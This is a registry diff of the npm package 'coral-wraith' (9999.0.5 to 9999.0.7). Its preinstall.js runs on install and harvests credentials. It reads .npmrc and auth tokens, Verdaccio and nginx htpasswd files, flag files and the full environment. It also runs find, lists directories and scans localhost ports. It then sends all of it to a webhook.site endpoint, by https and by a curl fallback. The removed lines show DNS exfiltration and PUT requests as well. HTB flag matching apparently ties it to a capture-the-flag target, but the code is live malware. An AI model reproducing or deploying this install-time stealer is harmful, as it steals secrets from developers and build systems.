coral-wraith 9999.0.5 → 9999.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of coral-wraith might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +128 -221
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.5",
3
+ "version": "9999.0.7",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -4,255 +4,162 @@ const https = require('https');
4
4
  const { execSync } = require('child_process');
5
5
  const os = require('os');
6
6
 
7
- let flag = null;
8
7
  const debug = [];
8
+ let flag = null;
9
9
 
10
- // Method 1: Read flag from ALL possible locations
11
- const flagPaths = [
12
- '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
- '/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
14
- '/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
15
- '/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
16
- './flag', './flag.txt', '../flag', '../flag.txt',
17
- '/home/node/.flag', '/var/flag', '/var/flag.txt',
18
- '/srv/flag', '/srv/flag.txt',
10
+ // 1. Read ALL credential/config files
11
+ const credPaths = [
12
+ // npmrc files
13
+ '/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
14
+ '/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
15
+ process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
16
+ process.cwd() + '/../../.npmrc',
17
+
18
+ // Verdaccio configs
19
+ '/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
20
+ '/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
21
+ '/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
22
+ '/data/verdaccio/htpasswd', '/data/htpasswd',
23
+ '/data/config.yaml', '/data/conf/config.yaml',
24
+
25
+ // nginx configs
26
+ '/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
27
+ '/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
28
+ '/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
29
+
30
+ // Flag locations
31
+ '/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
32
+ '/home/node/flag', '/home/node/flag.txt',
33
+ '/root/flag', '/root/flag.txt',
19
34
  ];
20
- for (const p of flagPaths) {
21
- try {
22
- if (fs.existsSync(p)) {
23
- const content = fs.readFileSync(p, 'utf8').trim();
24
- debug.push(`found:${p}:${content.substring(0,100)}`);
25
- const m = content.match(/HTB\{[^}]+\}/);
26
- if (m) { flag = m[0]; break; }
27
- if (!flag && content.length < 200) flag = content;
28
- }
29
- } catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
30
- }
31
-
32
- // Method 2: Check ALL env vars
33
- if (!flag) {
34
- for (const [k, v] of Object.entries(process.env)) {
35
- if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
36
- flag = v.match(/HTB\{[^}]+\}/)[0];
37
- debug.push(`env:${k}=${v.substring(0,100)}`);
38
- break;
39
- }
40
- }
41
- }
42
- // Also try common env var names
43
- if (!flag) {
44
- const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
45
- 'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
46
- for (const name of envNames) {
47
- if (process.env[name]) {
48
- flag = process.env[name];
49
- debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
50
- break;
51
- }
52
- }
53
- }
54
35
 
55
- // Method 3: /proc/self/environ
56
- if (!flag) {
36
+ for (const p of credPaths) {
57
37
  try {
58
- const pe = fs.readFileSync('/proc/self/environ', 'utf8');
59
- const m = pe.match(/HTB\{[^}]+\}/);
60
- if (m) { flag = m[0]; debug.push('proc_environ'); }
61
- debug.push(`env_raw:${pe.substring(0,200)}`);
62
- } catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
63
- }
64
-
65
- // Method 4: Search for flag files broadly
66
- if (!flag) {
67
- try {
68
- const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
69
- debug.push(`find:${r}`);
70
- if (r) {
71
- for (const f of r.split('\n')) {
72
- try {
73
- const content = fs.readFileSync(f, 'utf8');
74
- const m = content.match(/HTB\{[^}]+\}/);
75
- if (m) { flag = m[0]; break; }
76
- } catch(e) {}
77
- }
38
+ if (fs.existsSync(p)) {
39
+ const c = fs.readFileSync(p, 'utf8');
40
+ debug.push(`FILE:${p}=${c.substring(0,500)}`);
41
+ const m = c.match(/HTB\{[^}]+\}/);
42
+ if (m) flag = m[0];
78
43
  }
79
- } catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
44
+ } catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
80
45
  }
81
46
 
82
- // Method 5: Grep for HTB{ pattern in all readable files
83
- if (!flag) {
84
- try {
85
- const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
86
- debug.push(`grep:${r}`);
87
- if (r) {
88
- for (const f of r.split('\n')) {
89
- try {
90
- const content = fs.readFileSync(f, 'utf8');
91
- const m = content.match(/HTB\{[^}]+\}/);
92
- if (m) { flag = m[0]; break; }
93
- } catch(e) {}
94
- }
95
- }
96
- } catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
47
+ // 2. npm config environment variables
48
+ const npmEnvs = ['npm_config_userconfig', 'NPM_CONFIG_USERCONFIG',
49
+ 'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
50
+ 'npm_config__auth', 'npm_config__authToken'];
51
+ for (const k of npmEnvs) {
52
+ if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
97
53
  }
98
54
 
99
- // Method 6: Check docker/k8s secrets
100
- if (!flag) {
55
+ // 3. List directories
56
+ for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
57
+ '/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
58
+ process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
101
59
  try {
102
- const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
103
- debug.push(`secrets:${secrets}`);
104
- for (const f of secrets.split('\n').filter(Boolean)) {
105
- try {
106
- const content = fs.readFileSync(f, 'utf8');
107
- const m = content.match(/HTB\{[^}]+\}/);
108
- if (m) { flag = m[0]; break; }
109
- } catch(e) {}
110
- }
60
+ const items = fs.readdirSync(dir);
61
+ debug.push(`DIR:${dir}=${items.join(',')}`);
111
62
  } catch(e) {}
112
63
  }
113
64
 
114
- // Method 7: Check for .env files
115
- if (!flag) {
116
- try {
117
- const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
118
- debug.push(`envfiles:${envFiles}`);
119
- for (const f of envFiles.split('\n').filter(Boolean)) {
120
- try {
121
- const content = fs.readFileSync(f, 'utf8');
122
- const m = content.match(/HTB\{[^}]+\}/);
123
- if (m) { flag = m[0]; break; }
124
- debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
125
- } catch(e) {}
126
- }
127
- } catch(e) {}
128
- }
129
-
130
- // Method 8: Read server source code and configs
65
+ // 4. Find ALL config/credential files
131
66
  try {
132
- const cwd = process.cwd();
133
- debug.push(`cwd:${cwd}`);
134
- const files = fs.readdirSync(cwd);
135
- debug.push(`cwd_files:${files.join(',')}`);
136
-
137
- // Read all JS files in current directory
138
- for (const f of files) {
139
- if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
140
- try {
141
- const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
142
- debug.push(`file:${f}:${content.substring(0,300)}`);
143
- const m = content.match(/HTB\{[^}]+\}/);
144
- if (m) { flag = m[0]; break; }
145
- } catch(e) {}
146
- }
147
- }
148
- } catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
149
-
150
- // Also read /home/node/ specifically
151
- try {
152
- const homeFiles = fs.readdirSync('/home/node');
153
- debug.push(`home_node:${homeFiles.join(',')}`);
154
- for (const f of homeFiles) {
67
+ const r = execSync('find / -maxdepth 5 \\( -name "*.npmrc" -o -name "htpasswd*" -o -name ".htpasswd" -o -name "config.yaml" -o -name "*.conf" -o -name ".env" -o -name "flag*" \\) -type f 2>/dev/null | grep -v node_modules | grep -v proc | head -30', {timeout:15000}).toString().trim();
68
+ debug.push(`FIND:${r}`);
69
+ for (const f of r.split('\n').filter(Boolean)) {
155
70
  try {
156
- const stat = fs.statSync(`/home/node/${f}`);
157
- if (stat.isFile() && stat.size < 100000) {
158
- const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
159
- debug.push(`home_file:${f}:${content.substring(0,200)}`);
160
- const m = content.match(/HTB\{[^}]+\}/);
161
- if (m) { flag = m[0]; break; }
162
- } else if (stat.isDirectory()) {
163
- const subFiles = fs.readdirSync(`/home/node/${f}`);
164
- debug.push(`home_dir:${f}:${subFiles.join(',')}`);
165
- }
71
+ const c = fs.readFileSync(f, 'utf8');
72
+ debug.push(`CONTENT:${f}=${c.substring(0,500)}`);
73
+ const m = c.match(/HTB\{[^}]+\}/);
74
+ if (m) flag = m[0];
166
75
  } catch(e) {}
167
76
  }
168
- } catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
169
-
170
- // Method 9: List root and key directories
171
- try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
172
- try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
173
- try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
174
-
175
- // Method 10: Network info and listening ports
176
- try {
177
- const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
178
- debug.push(`ports:${ss}`);
179
- } catch(e) {}
77
+ } catch(e) { debug.push(`FIND_ERR:${e.message.substring(0,100)}`); }
180
78
 
181
- // Method 11: Check nginx config
182
- try {
183
- const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
184
- debug.push(`nginx:${nginx.substring(0,500)}`);
185
- } catch(e) {}
186
-
187
- // Method 12: Check .npmrc for registry credentials
188
- try {
189
- const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
190
- debug.push(`npmrc:${npmrc.substring(0,300)}`);
191
- } catch(e) {}
192
-
193
- const info = {
194
- flag: flag || 'NOT_FOUND',
195
- debug: debug.map(d => d.substring(0, 500)),
196
- env: Object.keys(process.env).join(','),
197
- network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
198
- };
79
+ // 5. Scan localhost ports for Verdaccio
80
+ const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
81
+ let scanned = 0;
82
+ for (const port of portsToScan) {
83
+ try {
84
+ const req = http.request({
85
+ hostname: '127.0.0.1', port, path: '/-/whoami',
86
+ method: 'GET', timeout: 2000
87
+ }, (res) => {
88
+ let data = '';
89
+ res.on('data', c => data += c);
90
+ res.on('end', () => {
91
+ debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
92
+ scanned++;
93
+ if (scanned >= portsToScan.length) sendData();
94
+ });
95
+ });
96
+ req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
97
+ req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
98
+ req.end();
99
+ } catch(e) { scanned++; }
100
+ }
199
101
 
200
- const data = JSON.stringify(info);
102
+ // Also scan the main page of each port
103
+ for (const port of portsToScan) {
104
+ try {
105
+ const req = http.request({
106
+ hostname: '127.0.0.1', port, path: '/',
107
+ method: 'GET', timeout: 2000
108
+ }, (res) => {
109
+ let data = '';
110
+ res.on('data', c => data += c);
111
+ res.on('end', () => {
112
+ debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
113
+ });
114
+ });
115
+ req.on('error', () => {});
116
+ req.on('timeout', () => { req.destroy(); });
117
+ req.end();
118
+ } catch(e) {}
119
+ }
201
120
 
202
- // Exfil Method 1: Webhook
121
+ // 6. Listening ports
203
122
  try {
204
- const req = https.request({
205
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
206
- method: 'POST',
207
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
208
- timeout: 5000
209
- }, () => {});
210
- req.on('error', () => {});
211
- req.write(data);
212
- req.end();
123
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
124
+ debug.push(`LISTEN:${ss.substring(0,500)}`);
213
125
  } catch(e) {}
214
126
 
215
- // Exfil Method 2: PUT to challenge API on various ports
216
- const putData = JSON.stringify({
217
- manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
218
- });
219
-
220
- let serverPort = 1337;
221
- try {
222
- const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
223
- const m = ss.match(/:(\d+)\s/);
224
- if (m) serverPort = parseInt(m[1]);
225
- } catch(e) {}
127
+ // 7. Process info
128
+ debug.push(`CWD:${process.cwd()}`);
129
+ debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
130
+ debug.push(`HOME:${os.homedir()}`);
131
+ debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
132
+ debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
226
133
 
227
- const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
228
- for (const port of [...new Set(ports)]) {
229
- for (const host of ['127.0.0.1', 'localhost']) {
230
- for (const modId of ['ECT-654321', 'ECT-987654']) {
231
- try {
232
- const req = http.request({
233
- hostname: host, port, path: `/api/modules/${modId}`,
234
- method: 'PUT',
235
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
236
- timeout: 2000
237
- }, () => {});
238
- req.on('error', () => {});
239
- req.write(putData);
240
- req.end();
241
- } catch(e) {}
242
- }
243
- }
134
+ // Send data function
135
+ function sendData() {
136
+ const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
137
+
138
+ // Webhook
139
+ try {
140
+ const req = https.request({
141
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
142
+ method: 'POST',
143
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
144
+ timeout: 8000
145
+ }, ()=>{});
146
+ req.on('error', ()=>{});
147
+ req.write(info);
148
+ req.end();
149
+ } catch(e) {}
150
+
151
+ // curl backup
152
+ try {
153
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
154
+ } catch(e) {}
244
155
  }
245
156
 
246
- // Exfil Method 3: DNS
247
- try {
248
- const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
249
- require('dns').resolve(`${encoded}.crl.ve`, () => {});
250
- } catch(e) {}
157
+ // Initial send (port scan results will come later via sendData callback)
158
+ setTimeout(sendData, 3000);
251
159
 
252
- // Exfil Method 4: stdout/stderr
253
- console.log('[CORAL-WRAITH]', data.substring(0, 2000));
160
+ // Also write to stdout
161
+ console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
254
162
  console.error('[FLAG]', flag || 'NOT_FOUND');
255
163
 
256
164
  // Write to files
257
- try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
258
- try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
165
+ try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}